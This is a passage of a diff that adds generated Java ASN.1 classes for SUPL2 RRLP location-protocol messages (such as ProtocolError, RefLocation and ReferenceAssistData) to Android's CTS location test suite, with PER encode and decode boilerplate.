+ protected Asn1Tag getTag() {
+ return TAG_PositionMethod;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_PositionMethod != null) {
+ return ImmutableList.of(TAG_PositionMethod);
+ } else {
+ return Asn1Enumerated.getPossibleFirstTags();
+ }
+ }
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override protected Asn1Enumerated.Value lookupValue(int ordinal) {
+ return Value.values()[ordinal];
+ }
+
+ @Override protected Asn1Enumerated.Value lookupExtensionValue(int ordinal) {
+ return ExtensionValue.values()[ordinal];
+ }
+
+ @Override protected int getValueCount() {
+ return Value.values().length;
+ }
+
+ /**
+ * Creates a new PositionMethod from encoded stream.
+ */
+ public static PositionMethod fromPerUnaligned(byte[] encodedBytes) {
+ PositionMethod result = new PositionMethod();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new PositionMethod from encoded stream.
+ */
+ public static PositionMethod fromPerAligned(byte[] encodedBytes) {
+ PositionMethod result = new PositionMethod();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "PositionMethod = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ProtocolError.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ProtocolError.java
new file mode 100755
index 0000000..d92e6ae
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ProtocolError.java
@@ -0,0 +1,345 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_extensiondatatypes.ExtensionContainer;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ProtocolError extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ProtocolError
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ProtocolError() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ProtocolError;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ProtocolError != null) {
+ return ImmutableList.of(TAG_ProtocolError);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ProtocolError from encoded stream.
+ */
+ public static ProtocolError fromPerUnaligned(byte[] encodedBytes) {
+ ProtocolError result = new ProtocolError();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ProtocolError from encoded stream.
+ */
+ public static ProtocolError fromPerAligned(byte[] encodedBytes) {
+ ProtocolError result = new ProtocolError();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private ErrorCodes errorCause_;
+ public ErrorCodes getErrorCause() {
+ return errorCause_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ErrorCodes
+ */
+ public void setErrorCause(Asn1Object value) {
+ this.errorCause_ = (ErrorCodes) value;
+ }
+ public ErrorCodes setErrorCauseToNewInstance() {
+ errorCause_ = new ErrorCodes();
+ return errorCause_;
+ }
+
+ private ExtensionContainer extensionContainer_;
+ public ExtensionContainer getExtensionContainer() {
+ return extensionContainer_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ExtensionContainer
+ */
+ public void setExtensionContainer(Asn1Object value) {
+ this.extensionContainer_ = (ExtensionContainer) value;
+ }
+ public ExtensionContainer setExtensionContainerToNewInstance() {
+ extensionContainer_ = new ExtensionContainer();
+ return extensionContainer_;
+ }
+
+
+
+ private Rel_5_ProtocolError_Extension extensionRel_5_ProtocolError_Extension;
+ public Rel_5_ProtocolError_Extension getExtensionRel_5_ProtocolError_Extension() {
+ return extensionRel_5_ProtocolError_Extension;
+ }
+ /**
+ * @throws ClassCastException if value is not a Rel_5_ProtocolError_Extension
+ */
+ public void setExtensionRel_5_ProtocolError_Extension(Asn1Object value) {
+ extensionRel_5_ProtocolError_Extension = (Rel_5_ProtocolError_Extension) value;
+ }
+ public void setExtensionRel_5_ProtocolError_ExtensionToNewInstance() {
+ extensionRel_5_ProtocolError_Extension = new Rel_5_ProtocolError_Extension();
+ }
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getErrorCause() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getErrorCause();
+ }
+
+ @Override public void setToNewInstance() {
+ setErrorCauseToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ErrorCodes.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "errorCause : "
+ + getErrorCause().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getExtensionContainer() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionContainer();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionContainerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? ExtensionContainer.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "extensionContainer : "
+ + getExtensionContainer().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ @Override public boolean isExplicitlySet() {
+ return getExtensionRel_5_ProtocolError_Extension() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getExtensionRel_5_ProtocolError_Extension();
+ }
+
+ @Override public void setToNewInstance() {
+ setExtensionRel_5_ProtocolError_ExtensionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ throw new UnsupportedOperationException(
+ "BER decoding not supported for extension elements");
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ throw new UnsupportedOperationException(
+ "BER is not supported for extension elements");
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rel_5_ProtocolError_Extension : "
+ + getExtensionRel_5_ProtocolError_Extension().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ProtocolError = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefLocation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefLocation.java
new file mode 100755
index 0000000..06980a9
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefLocation.java
@@ -0,0 +1,225 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import android.location.cts.asn1.supl2.map_lcs_datatypes.Ext_GeographicalInformation;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class RefLocation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_RefLocation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RefLocation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RefLocation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RefLocation != null) {
+ return ImmutableList.of(TAG_RefLocation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RefLocation from encoded stream.
+ */
+ public static RefLocation fromPerUnaligned(byte[] encodedBytes) {
+ RefLocation result = new RefLocation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RefLocation from encoded stream.
+ */
+ public static RefLocation fromPerAligned(byte[] encodedBytes) {
+ RefLocation result = new RefLocation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private Ext_GeographicalInformation threeDLocation_;
+ public Ext_GeographicalInformation getThreeDLocation() {
+ return threeDLocation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a Ext_GeographicalInformation
+ */
+ public void setThreeDLocation(Asn1Object value) {
+ this.threeDLocation_ = (Ext_GeographicalInformation) value;
+ }
+ public Ext_GeographicalInformation setThreeDLocationToNewInstance() {
+ threeDLocation_ = new Ext_GeographicalInformation();
+ return threeDLocation_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getThreeDLocation() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getThreeDLocation();
+ }
+
+ @Override public void setToNewInstance() {
+ setThreeDLocationToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? Ext_GeographicalInformation.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "threeDLocation : "
+ + getThreeDLocation().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("RefLocation = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefQuality.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefQuality.java
new file mode 100755
index 0000000..9f1458c
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/RefQuality.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class RefQuality extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_RefQuality
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public RefQuality() {
+ super();
+ setValueRange("0", "31");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_RefQuality;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_RefQuality != null) {
+ return ImmutableList.of(TAG_RefQuality);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new RefQuality from encoded stream.
+ */
+ public static RefQuality fromPerUnaligned(byte[] encodedBytes) {
+ RefQuality result = new RefQuality();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new RefQuality from encoded stream.
+ */
+ public static RefQuality fromPerAligned(byte[] encodedBytes) {
+ RefQuality result = new RefQuality();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "RefQuality = " + getInteger() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceAssistData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceAssistData.java
new file mode 100755
index 0000000..a151fde
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceAssistData.java
@@ -0,0 +1,404 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class ReferenceAssistData extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_ReferenceAssistData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public ReferenceAssistData() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_ReferenceAssistData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_ReferenceAssistData != null) {
+ return ImmutableList.of(TAG_ReferenceAssistData);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new ReferenceAssistData from encoded stream.
+ */
+ public static ReferenceAssistData fromPerUnaligned(byte[] encodedBytes) {
+ ReferenceAssistData result = new ReferenceAssistData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new ReferenceAssistData from encoded stream.
+ */
+ public static ReferenceAssistData fromPerAligned(byte[] encodedBytes) {
+ ReferenceAssistData result = new ReferenceAssistData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private BCCHCarrier bcchCarrier_;
+ public BCCHCarrier getBcchCarrier() {
+ return bcchCarrier_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BCCHCarrier
+ */
+ public void setBcchCarrier(Asn1Object value) {
+ this.bcchCarrier_ = (BCCHCarrier) value;
+ }
+ public BCCHCarrier setBcchCarrierToNewInstance() {
+ bcchCarrier_ = new BCCHCarrier();
+ return bcchCarrier_;
+ }
+
+ private BSIC bsic_;
+ public BSIC getBsic() {
+ return bsic_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BSIC
+ */
+ public void setBsic(Asn1Object value) {
+ this.bsic_ = (BSIC) value;
+ }
+ public BSIC setBsicToNewInstance() {
+ bsic_ = new BSIC();
+ return bsic_;
+ }
+
+ private TimeSlotScheme timeSlotScheme_;
+ public TimeSlotScheme getTimeSlotScheme() {
+ return timeSlotScheme_;
+ }
+ /**
+ * @throws ClassCastException if value is not a TimeSlotScheme
+ */
+ public void setTimeSlotScheme(Asn1Object value) {
+ this.timeSlotScheme_ = (TimeSlotScheme) value;
+ }
+ public TimeSlotScheme setTimeSlotSchemeToNewInstance() {
+ timeSlotScheme_ = new TimeSlotScheme();
+ return timeSlotScheme_;
+ }
+
+ private BTSPosition btsPosition_;
+ public BTSPosition getBtsPosition() {
+ return btsPosition_;
+ }
+ /**
+ * @throws ClassCastException if value is not a BTSPosition
+ */
+ public void setBtsPosition(Asn1Object value) {
+ this.btsPosition_ = (BTSPosition) value;
+ }
+ public BTSPosition setBtsPositionToNewInstance() {
+ btsPosition_ = new BTSPosition();
+ return btsPosition_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getBcchCarrier() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBcchCarrier();
+ }
+
+ @Override public void setToNewInstance() {
+ setBcchCarrierToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BCCHCarrier.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bcchCarrier : "
+ + getBcchCarrier().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getBsic() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBsic();
+ }
+
+ @Override public void setToNewInstance() {
+ setBsicToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BSIC.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "bsic : "
+ + getBsic().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getTimeSlotScheme() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTimeSlotScheme();
+ }
+
+ @Override public void setToNewInstance() {
+ setTimeSlotSchemeToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? TimeSlotScheme.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "timeSlotScheme : "
+ + getTimeSlotScheme().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getBtsPosition() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getBtsPosition();
+ }
+
+ @Override public void setToNewInstance() {
+ setBtsPositionToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? BTSPosition.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "btsPosition : "
+ + getBtsPosition().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("ReferenceAssistData = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceFrame.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceFrame.java
new file mode 100755
index 0000000..318c9cf
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/ReferenceFrame.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
